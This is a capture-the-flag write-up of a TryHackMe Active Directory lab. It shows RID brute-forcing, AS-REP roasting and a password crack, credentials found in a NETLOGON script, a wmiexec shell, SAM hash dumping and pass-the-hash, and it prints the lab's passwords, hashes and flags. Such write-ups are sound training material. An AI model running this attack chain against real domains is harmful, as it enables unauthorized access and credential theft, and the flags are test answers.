Vulnet-Roasted

Enumeration

we find some txt files from smb share through anonymous access, giving away some user anmes

I use crackmap exec to bruteforce rids for usernames

```
MB
                           445
                                  WIN-2B08M10E1M1
                                                    1000: VULNNET-RST\WIN-2B08M10E1M1$ (SidTypeUser)
           10.10.148.165
                                                   1101: VULNNET-RST\DnsAdmins (SidTypeAlias)
ΜВ
                           445
           10.10.148.165
                                  WIN-2B08M10E1M1
                                                   1102: VULNNET-RST\DnsUpdateProxy (SidTypeGroup)
MR
          10.10.148.165
                           445
                                  WIN-2B08M10E1M1
                                                   1104: VULNNET-RST\enterprise-core-vn (SidTypeUser
MB
          10.10.148.165
                           445
                                  WIN-2B08M10E1M1
                                                    1105: VULNNET-RST\a-whitehat (SidTypeUser)
MB
           10.10.148.165
                           445
                                  WIN-2B08M10E1M1
                                                   1109: VULNNET-RST\t-skid (SidTypeUser)
MB
           10.10.148.165
                           445
                                  WIN-2B08M10E1M1
ИΒ
                           445
                                                    1110: VULNNET-RST\j-goldenhand (SidTypeUser)
          10.10.148.165
                                  WIN-2B08M10E1M1
                                                    1111: VULNNET-RST\j-leet (SidTypeUser)
MB
                           445
           10.10.148.165
                                  WIN-2B08M10E1M1
```

We get some valid usernames now we will proceed.

We perform asrep roasting and find that user tony skid doesnt have pre auth enabled and we get tgt for that user

\$krb5asrep\$23\$t-skid@VULNNET-

we get tony skids password : tj072889*

```
john t-skid.hash --wordlist=~/WordLists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/12
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tj072889* ($krb5asrep$23$t-skid@VULNNET-RST.LOCAL)
1g 0:00:00:03 DONE (2021-09-19 09:32) 0.2770g/s 880469p/s 880469c/s 880469C/s tj3929..tj0216044
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

Nmap

PORT STATE SERVICE REASON VERSION

```
53/tcp open domain
                       syn-ack ttl 125 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 125 Microsoft Windows Kerberos (server time: 2021-09-19 12:46:12Z)
135/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 125 Microsoft Windows netbios-ssn
389/tcp open Idap
                      syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site:
Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 125
464/tcp open kpasswd5? syn-ack ttl 125
593/tcp open ncacn_http syn-ack ttl 125 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 125
3268/tcp open Idap
                    syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0.,
Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 125
                   syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5985/tcp open http
| http-server-header: Microsoft-HTTPAPI/2.0
| http-title: Not Found
49684/tcp open unknown
                          syn-ack ttl 125
49697/tcp open msrpc
                         syn-ack ttl 125 Microsoft Windows RPC
                      syn-ack ttl 125 Microsoft Windows RPC
49712/tcp open msrpc
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
TCP/IP fingerprint:
gnu)
SEQ(SP=105%GCD=1%ISR=106%TI=I%TS=U)
SEQ(SP=101%GCD=1%ISR=104%TI=I%II=I%SS=S%TS=U)
OPS(O1=M505NW8NNS%O2=M505NW8NNS%O3=M505NW8%O4=M505NW8NNS%O5=M505NW8NNS%O6=M505NNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M505NW8NNS%CC=Y%Q=)
T1(R=Y\%DF=Y\%TG=80\%S=0\%A=S+\%F=AS\%RD=0\%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y\%DFI=N\%TG=80\%CD=Z)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: WIN-2BO8M10E1M1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 1m17s
| p2p-conficker:
| Checking for Conficker.C or higher...
 Check 1 (port 56761/tcp): CLEAN (Timeout)
  Check 2 (port 51925/tcp): CLEAN (Timeout)
 Check 3 (port 35260/udp): CLEAN (Timeout)
 Check 4 (port 37900/udp): CLEAN (Timeout)
0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
1 2.02:
  Message signing enabled and required
| smb2-time:
| date: 2021-09-19T12:47:35
|_ start_date: N/A
TRACEROUTE (using port 49697/tcp)
HOP RTT
          ADDRESS
1 205.27 ms 10.4.0.1
2 ... 3
4 522.33 ms 10.10.148.165
NSE: Script Post-scanning.
```

NSE: Starting runlevel 1 (of 3) scan.

Initiating NSE at 08:47

Completed NSE at 08:47, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan.

Initiating NSE at 08:47

Completed NSE at 08:47, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan.

Initiating NSE at 08:47

Completed NSE at 08:47, 0.00s elapsed Read data files from: /usr/bin/../share/nmap

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 144.24 seconds Raw packets sent: 114 (8.986KB) | Rcvd: 58 (3.667KB)

Exploitation

After wasting some time i took a hint and found that we now have read access to NETLOGON share and theres a vbs script including credentials for user alexa whitehat

a-whitehat: bNdKVkjv3RR9ht

```
If (Wscript.Arguments.Count <> 0) Then
        Wscript.Echo "Syntax Error. Correct syntax is:"
        Wscript.Echo "cscript ResetPassword.vbs"
        Wscript.Quit
End If

strUserNTName = "a-whitehat"
strPassword = "bNdKVkjv3RR9ht"

' Determine DNS domain name from RootDSE object.
Set objRootDSE = GetObject("LDAP://RootDSE")
strDNSDomain = objRootDSE.Get("defaultNamingContext")
```

NOw we got a semi shell using wmiexec

```
_____(root ○CyberJunkie)-[~/Tryhackme/Vulnet_Roasted/stuff]
_# wmiexec.py vulnnet-rst.local/a-whitehat@10.10.253.255
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
Password:
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
[:\>]
```

Post Compromise

After post enumeration we found that our suer a.whitehat is domain admin so we can dump hashes using crackmapexec or secretsdump.py

```
root⊙CyberJunkie)-[~/Tryhackme/Vulnet_Roasted/stuff]
crackmapexec smb $ip -u a-whitehat -p bNdKVkjv3RR9ht --local-auth --sam
2 ×
10.10.253.255 445 WIN-2B08M10E1M1 [*] Windows 10.0 Build 17763 x64 (name:WIN-2B08M10E1M1) (domain:WIN-2B08M10E1M1) (signing:True
1:False)
             10.10.253.255 445
                                              WIN-2B08M10E1M1 [-] WIN-2B08M10E1M1\a-whitehat:bNdKVkjv3RR9ht STATUS_LOGON_FAILURE
(root OcyberJunkie)-[~/Tryhackme/Vulnet_Roasted/stuff]
crackmapexec smb $ip -u a-whitehat -p bNdKVkjv3RR9ht -d vulnnet-rst.local --sam
             10.10.253.255 445
                                              WIN-2B08M10E1M1 [*] Windows 10.0 Build 17763 x64 (name:WIN-2B08M10E1M1) (domain:vulnnet-rst.local) (signing:Tru
Bv1:False)
                                              WIN-2B08M10E1M1 [+] vulnnet-rst.local\a-whitehat:bNdKVkjv3RR9ht (Pwn3d!)
WIN-2B08M10E1M1 [+] Dumping SAM hashes
             10.10.253.255
             10.10.253.255
                                              WIN-2B08M10E1M1 [+] Dumping 3Am Hashes
WIN-2B08M10E1M1 Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::
WIN-2B08M10E1M1 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-2B08M10E1M1 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
             10.10.253.255
             10.10.253.255
                                    445
             10.10.253.255
OR:root:SAM hashes extraction
                                            for user WDAGUtilityAccount failed. The account doesn't have hash information.
            10.10.253.255
                                              WIN-2B08M10E1M1 [+] Added 3 SAM hashes to the database
```

Now instead of cracking i passed the hash and login as admin and get system flag

Loot

Credentials

Usernames

Alexa Jack Tony Johnny

##

t-skid: tj072889*

a-whitehat: bNdKVkjv3RR9ht

##Administrator hash

aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d

Flags

User Flag

THM{726b7c0baaac1455d05c827b5561f4ed}

NT Authority/System Flag

THM{16f45e3934293a57645f8d7bf71d8d4c}